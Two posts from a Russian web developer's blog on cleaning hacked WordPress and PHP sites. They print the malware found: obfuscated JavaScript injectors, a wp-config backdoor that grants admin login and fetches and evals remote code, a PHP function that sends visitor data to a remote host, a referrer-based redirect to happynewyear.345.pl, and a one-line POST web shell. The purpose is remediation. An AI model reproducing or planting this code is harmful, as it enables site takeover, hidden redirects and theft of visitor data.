Tech Department. Техотдел.
блог веб-разработчика
Еще один вирус, теперь WordPress
on Янв 29 in БезопасностьСнова столкнулся с интересным вирусом поражающим WordPress Блоги, особенно те, которые используют timthumb плагин для ресайза изображений. Рекомендую всем обновить timthumb до последней версии отсюда.
Я не расскажу точно как происходит заражение но расскажу что нужно чистить.
Вирус поражает все файлы javascript на хостинге кодом следующего вида
var_0x4470=»\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\
МНОГО БУКВ
x36\x7C\x36\x34\x7C\x68\x74\x74\x70″,»\x72\x65\x70\x6C\x61\x63\x65″,»",»\x5C\x77\
x2B»,»\x5C\x62″,»\x67″];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5
,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5]
[_0x4470[4]](/^/,String)){while(_0xa064x3–){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=
_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5)
{return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;}
;while(_0xa064x3–){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]
( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4
[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]]
(_0x4470[1]),0,{}));
Все файлы JS надо чистить, код находится в конце.
Второе, надо проверить файлы wp-settings и wp-config
В wp-settings вы должны найти следующий код
function counter_wordpress() {$_F=__FILE__;$_X=’Pz48P3BocCAkM3JsID0gJ2h0dHA6
Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+’;eval(base64_decode(‘JF9YPWJhc2U2NF9kZW
NvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPW
VyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOy
RfWD0wOw==’));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip =
$_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SE
RVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url
.’?ip=’.$ip.’&host=’.$host.’&uri=’.$uri.’&ua=’.$ua.’&ref=’.$ref;$ch = curl
_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch,
CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch
);curl_close($ch);echo $re;}add_action(‘wp_head’, ‘counter_wordpress’);
В файле wp-config добавится несколько тысяч пустых строк и там будет скрыт код вида:
if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
if ($_GET['pass'] == ‘b53b3a3d6ab90ce0268229151c9bde11′){
if ($_GET['pingnow']== ‘login’){
$user_login = ‘admin’;
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action(‘wp_login’, $user_login);
}
if (($_GET['pingnow']== ‘exec’)&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).’.php’;
$fp = fopen($fnm, «w»);
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo «<SCRIPT LANGUAGE=\»JavaScript\»>location.href=’$fnm’;</SCRIPT>»;
}
if (($_GET['pingnow']== ‘eval’)&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}}}
Его нужно тоже удалить.
Кроме того в папке с темами и кешем вы найдете следующий ад, вмоем случае тут: htdocs/wp-content/themes/Имя темы/cache
Там будут файл index.php index.html и множество закодированных файлов с именами вида:
timthumb_int_300e3fd45f2cbb61e647ee6207a8d619.timthumb.txt
timthumb_int_4a9d4727385b1d3000c0c269de395e6f.timthumb.txt
ИТД
Все кроме изображений надо удалить. Файл index.html у меня также содержал код вируса.
После этих операций, яндекс разблокировал сайт и сказал что нет вируса, но лучше всего сделать бэкап базы данных, переставить движок, тему и развернуть сайт заново, так как вирус портит огромное число файлов и можно что-то пропустить.
Забавный вирус на сайте base64_decode
on Янв 10 in Безопасность, Общие темы, Проекты, ХостингКо мне обратился клиент с задачей почистить сайт от вируса. Проблемы начались с того, что при переходе с поисковой системы Яндекс, с сайта клиента начало редиректить на абсолютно другой ресурс, но при заходе на сайт по прямой ссылке все отлично работало.
Вооружившись ФТП доступом ), полез смотреть. Во ВСЕХ php файлах был кусок кода при открывающемся теге <?php
eval(base64_decode(«DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcn
Nfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFR
QX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0
KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN
0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibG
VyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXI
sImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHI
oJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9y
IHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3
R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3R
yaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV
4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19t
YXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcm
VmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5
jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0
cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQ
poZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vaGFwcHluZXd5ZWFyLjM0NS5wbC8iKTsN
CmV4aXQoKTsNCn0NCn0NCn0NCn0=»));
Расшифровать этот код удалось при помощи этого ресурса.
И вот тут то я увидел что код просто гениален )
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,»yahoo») or stristr($referer,»bing») or stristr($referer,»rambler») or stristr($referer,»gogo») or stristr($referer,»live.com»)or stristr($referer,»aport») or stristr($referer,»nigma») or stristr($referer,»webalta») or stristr($referer,»begun.ru») or stristr($referer,»stumbleupon.com») or stristr($referer,»bit.ly») or stristr($referer,»tinyurl.com») or preg_match(«/yandex\.ru\/yandsearch\?(.*?)\&lr\=/»,$referer) or preg_match («/google\.(.*?)\/url/»,$referer) or stristr($referer,»myspace.com») or stristr($referer,»facebook.com») or stristr($referer,»aol.com»)) {if (!stristr($referer,»cache») or !stristr($referer,»inurl»)){
header(«Location: http://happynewyear.345.pl/»);
exit();
}}}}
В двух словах, эта гадость отслеживает откуда пришел юзер и если он пришел с ресурса по ссылке из этого списка url, то идет редирект на чужой сайт. Очень красиво и сразу отловить такую заразу не всем удастся. Ведь на свои ресурсы мы как правило заходим по прямой ссылке.
Чистить проще всего с помощью netbeans
Скачиваем весь сайт на локальную машину, добавляем его как project with existing source и делаем автозамену по всему проекту. Этот кусок кода меняем на пробел или пустоту. После примерно 15000 автозамен сайт чист. Для надежность можно провести поиск по base64_decode и руками проверить оставшиеся файлы. Чистить все руками очень долго и муторно )
Удачи.
UPDATE 29/01/2012
Вирус проявил себя снова, искали shell на сайте и нашли
проверьте папку images в корне сайта там должен быть файл post.php со следующим содержанием
<?php eval(base64_decode($_POST["php"])); ?>
И еще кое что, я даже не знаю предыдущий ли это шелл, клиенту уже лечил кто-то сайт, но на всякий случай проверьте папку
/components/com_arhcive/
ее название не случайно с ошибкой, там лежит готовый шелл для заливки всякой гадости на ваш сайт.